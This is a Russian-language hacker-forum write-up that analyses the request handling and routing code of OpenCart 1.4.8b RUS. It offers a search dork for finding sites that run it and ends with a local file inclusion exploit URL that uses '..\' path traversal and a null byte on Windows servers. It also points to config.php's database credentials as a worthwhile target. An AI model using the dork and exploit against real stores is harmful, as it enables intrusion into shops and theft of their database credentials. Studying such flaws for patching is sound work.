Версия:
OpenCart 1.4.8b RUS 0.1
Магазин: оф. сайт http://myopencart.ru/
В файле в корне config.php интересны константы:
PHP код:
/*...*/define('DB_DRIVER', 'mysql');
define('DB_HOSTNAME', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '');
define('DB_DATABASE', 'opencart');
define('DB_PREFIX', 'oc_');/*...*/
Мб пригодитцо(читалка, блинд посимволу и т.д)
После установки двига если install не удалена, то нет никаких варнингов, а тока упоминаетцо при установке что надо удалить.
Некоторая логика(в файле system/startup.php):
Слешы удаляютцо (когда магические включены) с массивов $_GET, $_POST, $_COOKIE.
Также переменные уничтожаютцо когда rg в on с массивов которые выше зазначены + $_SESSION, $_SERVER, $_FILES .
$_SERVER['REQUEST_URI'] присваиваетцо строка с параметрами если установлена query_string.
подключения с \engine(абстрактные и финальные класы!) и \library(аналогично!)
Объект в этих подключаемых файлах не создаютцо.
Интересный файл request.php:
в конструкторе класа request массивы переприсваиваютцо, а именно: $_GET,$_POST,$_COOKIE,$_FILES, $_SERVER и присваиваютцо определенным свойствам класа.
Ключи и значения преобразовываютцо функцией htmlspecialchars в режиме ENT_COMPAT с 8-битным Unicode, совместимым с ASCII. .
А как известно одинарная кавычка остаетцо бес изменений в ENT_COMPAT, тоесть возвожны уязвимости.
Смотримс далее:
в index.php остальные файлы с \library покдключаютцо (класы), объекты еще не создаютцо.
далее в index.php создаютцо обьекты...
Дорк:
intext:"Работает на: OpenCart"
Такс, хватит воды!
LFI (ось win)
system/library/request.php
PHP код:
final class Request {
public $get = array();
public $post = array();
public $cookie = array();
public $files = array();
public $server = array();
public function __construct() {
$_GET = $this->clean($_GET);
$_POST = $this->clean($_POST);
$_COOKIE = $this->clean($_COOKIE);
$_FILES = $this->clean($_FILES);
$_SERVER = $this->clean($_SERVER);
$this->get = $_GET;
$this->post = $_POST;
$this->cookie = $_COOKIE;
$this->files = $_FILES;
$this->server = $_SERVER;
}
public function clean($data) {
if (is_array($data)) {
foreach ($data as $key => $value) {
unset($data[$key]);
$data[$this->clean($key)] = $this->clean($value);
}
} else {
$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
}
return $data;
}
}
index.php
PHP код:
/*...*/
// Front Controller
$controller = new Front($registry);
// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance/check'));
// SEO URL's
$controller->addPreAction(new Action('common/seo_url'))
// Router
if (isset($request->get['route'])) {
$action = new Action($request->get['route']);
} else {
$action = new Action('common/home');
}
// Dispatch
$controller->dispatch($action, new Action('error/not_found'));
// Output
$response->output();
system/engine/action.php
PHP код:
/*...*/
public function __construct($route, $args = array()) {
$path = '';
$parts = explode('/', str_replace('../', '', $route));
foreach ($parts as $part) {
$path .= $part;
if (is_dir(DIR_APPLICATION . 'controller/' . $path)) {
$path .= '/';
array_shift($parts);
continue;
}
if (is_file(DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php')) {
$this->file = DIR_APPLICATION . 'controller/' . str_replace('../', '', $path) . '.php';
$this->class = 'Controller' . preg_replace('/[^a-zA-Z0-9]/', '', $path);
array_shift($parts);
/*...*/
system/engine/front.php
PHP код:
/*...*/
public function dispatch($action, $error) {
$this->error = $error;
foreach ($this->pre_action as $pre_action) {
$result = $this->execute($pre_action);
if ($result) {
$action = $result;
break;
}
}
while ($action) {
$action = $this->execute($action);
}
}
private function execute($action) {
$file = $action->getFile();
$class = $action->getClass();
$method = $action->getMethod();
$args = $action->getArgs();
$action = '';
if (file_exists($file)) {
require_once($file);
$controller = new $class($this->registry);
if (is_callable(array($controller, $method))) {
$action = call_user_func_array(array($controller, $method), $args);
} else {
$action = $this->error;
$this->error = '';
}
} else {
$action = $this->error;
$this->error = '';
}
return $action;
}
}
Мы находимсо в catalog\controller, а "постфикс" надо отбрасывать.
Exploit:
http://localhost/opencart_1.4.8b_rus_0.1/?route=..\..\.htaccess.txt%00
Нулл-байт сработал у мну при mg=on => 1 условие: ОС Win.